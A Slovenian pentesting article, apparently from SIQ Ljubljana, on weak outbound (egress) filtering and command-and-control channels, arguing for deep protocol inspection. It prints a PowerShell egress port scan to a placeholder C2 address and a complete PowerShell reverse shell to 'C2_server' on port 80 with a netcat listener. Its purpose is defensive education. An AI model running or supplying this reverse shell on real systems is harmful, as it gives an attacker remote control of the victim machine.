Informacijske tehnologije

Tudi hekerji nosijo (zaščitne) maske, 1. del

24. april 2020 mag. Matevž Mesojednik, SIQ Ljubljana

Odtekanje, odtujevanje ali uhajanje občutljivih podatkov predstavlja hujšo varnostno kršitev oz. obliko kibernetskega kriminala. Zato ni nenavadno, da stroka eksfiltracijo podatkov obravnava kot enega bolj reprezentativnih ciljev motiviranih kibernetskih napadalcev [MITRE ATT&CK], [CYBER KILL-CHAIN].

V seriji prispevkov – v vlogi neodvisnega preizkuševalca informacijskih tehnologij – izpostavljamo značilne pomanjkljivosti v zasnovah informacijskih sistemov, ki (pre)pogosto ne zagotavljajo zadostnih zmogljivosti zaznavanja in preprečevanja tovrstnih napadov. V prvem delu bralcu približamo problematiko šibkega omejevanja odhodnih komunikacij v tipičnih informacijskih sistemih organizacij. V osrednjem delu opisujemo naprednejšo zlonamerno tehniko, ki temelji na zlorabi povsem legitimnega in uveljavljenega protokola DNS (Domain Name Service), omogoča pa popoln prevzem zlorabljenega sistema oz. odtekanje na njem hranjenih podatkov. V sklepnem delu podajamo priporočila za utrditev obstoječih varnostnih mehanizmov, da ti minimizirajo učinek uveljavljenih hekerskih tehnik.

IT security

Enostaven test, ki ga v informacijskem sistemu naročnika storitve (npr. pentest, red teaming) sistematično izvedemo že v sklopu spoznavanja okolja (strok. reconnaissance), je preizkus omejevanja odhodne (angl. egress) spletne komunikacije. Ta poteka v smeri od uporabnika, npr. zaposlenega v podjetju ali delavca, ki svoje delo opravlja od doma, proti internetu. V spodnjem zgledu smo uporabili ukazno lupino Powershell. Orodje je privzeto podprto v vseh modernejših različicah operacijskega sistema MS Windows in je kot takšno (lahko) dostopno ne le uporabnikom temveč tudi uspešnemu napadalcu ali injicirani škodljivi kodi:

1.. 65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(“C2_IP”,$_)) “Port $_ is open!”} 2>$null

Z enostavnim eno-vrstičnim ukazom preverimo nabor odprtih komunikacijskih poti v smeri od uporabnika proti spletu. Nekdo bi se vprašal o pravem pomenu ali smiselnosti izvedbe takšnega testa. Napadalci se vendar nahajajo zunaj varovanih informacijskih okolij, zato bi tudi njihove poskuse pričakovali uperjene v obratni smeri. Številne neodvisne študije in specialisti na področju informacijske varnosti na drugi strani opozarjamo na prevladujoč delež kibernetskih napadov z notranjim izvorom. Tipični komponenti takšnega napada sta:

[1] ohranjanje dostopa (strok. persistency) in
[2] zmožnost nadaljnjega upravljanja (strok. Command and Control – C2) prevzetega sistema.

Tehnika C2 [2] temelji na vzpostavitvi vzvratne komunikacijske poti med žrtvijo ter napadalčevim nadzornim strežnikom in je običajno posledica zagona škodljive kode (npr. uporabnika, ki klikne na škodljivo priponko) oz. izrabe kritične ranljivosti orodja ali aplikacije na kompromitiranem sistemu. Zlonamerna vzvratna povezava je vzpostavljena v smeri od uporabnika proti internetu, kar dodatno oteži njeno prepoznavo in zajezitev v (vsaj) na videz legitimni spletni komunikaciji med notranjimi uporabniki in svetovnim spletom. Upoštevaje prevladujočo ugotovitev varnostnih pregledov, da so odhodne varnostne politike robnih varnostnih naprav bistveno ohlapnejše od dohodnih, je tudi uspešnost C2 povezave do napadalčevega nadzornega strežnika verjetnejša.

Vprašajmo se na tem mestu, katere odhodne komunikacijske poti so na robnih varnostnih sistemih organizacij običajno dovoljene. Pentesterji se na terenu prej izjemoma kot praviloma srečujemo z varnostno utrjenimi konfiguracijami, kjer je nabor dovoljenih komunikacij zaposlenih selektivno omejen na izključno spletno (npr. HTTP/HTTPS) in poštno storitev (npr. IPAM, MAPI, SMTP). Slednji veljata za najbolj ustaljeni obliki sporočanja in izmenjave informacij v poslovnih subjektih, zato je njun obstoj praktično nujen.

Pa je omejevanje komunikacijskih poti (na izključno spletne in poštne) že zadostno tudi z vidika učinkovite kibernetske obrambe? Izkaže se, da utečeni komunikacijski kanali, posebej kadar so ti dodatno še šifrirani (npr. HTTPS, IMAPS), nudijo idealen poligon tudi za zakrivanje zlonamernih aktivnosti vse spretnejših kibernetskih napadalcev. Opažamo tudi drug ekstrem, ko nazivno šifrirani protokoli (npr. HTTPS), zavestno in prav zaradi vprašljivega učinka inspekcije niso predmet poglobljene analize na namenskih varnostnih napravah. Menimo, da povsem neupravičeno, kar si lahko zopet ogledamo na primeru. Vključena protokolna in aplikativna inspekcija na transportnih vratih TCP/80 bi nedvo(u)mno morala prepoznati spodnji »glasen« poskus vzpostavitve vzvratne ukazne lupine.

ŽRTEV [SIQ\mmesojednik]:
$client = New-Object System.Net.Sockets.TCPClient(“C2_server”,80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + “PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};
$client.Close()


NAPADALEC [C2 SERVER]:

#nc -nlvp 80
Ncat: Listening on :::80
Ncat: Connection from CLIENT_IP

>whoami
>siq\mmesojednik

Iz zajetega prometa (uporaba orodja Wireshark) je jasno razvidno tuneliranje ukazne lupine preko transportnih vrat TCP/80, ki so v običajnih okoliščinah namenjena spletni komunikaciji (HTTP):

Varnostni sistemi naslednje generacije imajo prav v ta namen vgrajeno sposobnost prepoznave protokolnih in/ali aplikativnih odstopanj na poljubnih transportnih poteh. Organizacije z uveljavljeno učinkovito strategijo obrambe pred najbolj naprednimi kibernetskimi napadi izvajajo podrobno inspekcijo vsakršne interakcije z uporabniki storitev, neodvisno od uporabe:

  • transportnega protokola (TCP ali UDP),
  • transportnih vrat (TCP/80, TCP/443) ali
  • šifriranja transportne poti (HTTP, HTTPS).

Ne pozabimo. Vsi od zgoraj naštetih komunikacijskih kanalov so lahko v primeru šibke protokolne in aplikativne inspekcije napadalčevo okno priložnosti za neopazno:

  • dostavo škodljive kode,
  • njeno nadaljnje širjenje in / ali plemenitenje in
  • odtekanje občutljivih podatkov.

Pentesterji se na terenu le poredko srečujemo z informacijskimi okolji z izrazito selektivno odhodno varnostno politiko, ki bi v celoti preprečila uporabo omenjenih tehnik. In vendar smo pripravljeni tudi na izjemne okoliščine, kjer pentesterjeva (napadalčeva) interakcija z zunanjimi spletnimi viri ni dovoljena ali verjetna.

V drugem delu (2. del) serije prispevkov bomo pokazali naprednejšo tehniko izrabe protokola DNS, uporaba katerega v večini organizacij velja za nepogrešljivo. Uspešna zloraba protokola na drugi strani omogoča napadalčev oddaljen nadzor, celovito upravljanje in odtekanje podatkov tudi iz okolij z vzpostavljeno izjemno konservativno varnostno politiko. Stay tuned …

Nazaj na vse novice